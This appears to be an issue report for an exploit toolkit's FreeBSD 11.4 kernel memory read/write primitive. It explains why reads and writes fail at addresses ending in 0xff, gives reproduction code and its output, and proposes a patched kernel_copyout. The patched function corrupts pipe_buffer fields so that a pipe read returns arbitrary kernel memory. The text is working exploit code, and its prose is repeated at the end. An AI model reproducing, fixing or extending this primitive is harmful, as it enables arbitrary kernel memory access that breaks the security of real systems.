If the first byte of the in6_pktinfo/IPV6_PKTINFO is 0xff, then setsockopt fails with errno 22, the check responsible for this appears to be here: https://github.com/freebsd/freebsd-src/blob/release/11.4.0/sys/netinet6/ip6_output.c#L2693
Currently in kernel_copyin and kernel_copyout, at the second kernel_write call, the start of the in6_pktinfo buffer holds the kaddr argument, which may have 0xff as the lowest (little-endian first) byte, causing the kernel rw to fail.
Reproduction:
int main() {
uint8_t fe_byte = 0;
if (kernel_copyout(KERNEL_ADDRESS_DATA_BASE + 0xfe, &fe_byte, sizeof(fe_byte)) == 0) {
puts("Successfully read from address ending in 0xfe");
} else {
puts("Failed to read from address ending in 0xfe");
}
uint8_t ff_byte = 0;
if (kernel_copyout(KERNEL_ADDRESS_DATA_BASE + 0xff, &ff_byte, sizeof(ff_byte)) == 0) {
puts("Successfully read from address ending in 0xff");
} else {
puts("Failed to read from address ending in 0xff");
}
if (kernel_copyin(&fe_byte, KERNEL_ADDRESS_DATA_BASE + 0xfe, sizeof(fe_byte)) == 0) {
puts("Successfully wrote to address ending in 0xfe");
} else {
puts("Failed to write to address ending in 0xfe");
}
if (kernel_copyin(&ff_byte, KERNEL_ADDRESS_DATA_BASE + 0xff, sizeof(ff_byte)) == 0) {
puts("Successfully wrote to address ending in 0xff");
} else {
puts("Failed to write to address ending in 0xff");
}
return 0;
}
This results in the following output:
Successfully read from address ending in 0xfe
Failed to read from address ending in 0xff
Successfully wrote to address ending in 0xfe
Failed to write to address ending in 0xff
Potential fix:
In kernel_copyout and kernel_copyin, have the second kernel_write call write at offset 12 instead of 16, ensuring that the first byte is never 0xff.
By doing this, we are no longer zeroing out the lower 32 bits of the next field, which should be pipe_map.pos, but given it was only partially zeroed out before, and we actively need to avoid PIPE_DIRECTW for kernel rw, i believe this should be fine, but this should be double checked.
int
kernel_copyout(unsigned long kaddr, void *uaddr, unsigned long len) {
unsigned int write_buf[5]; // sizeof in6_pktinfo
if(!kaddr || !uaddr || !len) {
SET_ERRNO(EINVAL);
return -1;
}
// Set pipe flags
write_buf[0] = 0x40000000; // pipe_buffer.cnt
write_buf[1] = 0x40000000; // pipe_buffer.in
write_buf[2] = 0; // pipe_buffer.out
write_buf[3] = 0; // set by next kernel_write
write_buf[4] = 0; // set by next kernel_write
if(kernel_write(pipe_addr, (unsigned long *) &write_buf)) {
return -1;
}
// Set pipe data addr
write_buf[0] = 0x40000000; // pipe_buffer.size
write_buf[1] = kaddr; // pipe_buffer.buffer lower 32 bits
write_buf[2] = kaddr >> 32; // pipe_buffer.buffer upper 32 bits
write_buf[3] = 0; // pipe_map.cnt lower 32 bits
write_buf[4] = 0; // pipe_map.cnt upper 32 bits
if(kernel_write(pipe_addr + 12, (unsigned long *) &write_buf)) {
return -1;
}
// Perform read across pipe
if(__crt_syscall(SYS_read, rw_pipe[0], uaddr, len) < 0) {
return -1;
}
return 0;
}
If the first byte of the
in6_pktinfo/IPV6_PKTINFOis0xff, thensetsockoptfails with errno 22, the check responsible for this appears to be here: https://github.com/freebsd/freebsd-src/blob/release/11.4.0/sys/netinet6/ip6_output.c#L2693Currently in
kernel_copyinandkernel_copyout, at the secondkernel_writecall, the start of thein6_pktinfobuffer holds thekaddrargument, which may have0xffas the lowest (little-endian first) byte, causing the kernel rw to fail.Reproduction:
This results in the following output:
Potential fix:
In
kernel_copyoutandkernel_copyin, have the secondkernel_writecall write at offset 12 instead of 16, ensuring that the first byte is never0xff.By doing this, we are no longer zeroing out the lower 32 bits of the next field, which should be
pipe_map.pos, but given it was only partially zeroed out before, and we actively need to avoidPIPE_DIRECTWfor kernel rw, i believe this should be fine, but this should be double checked.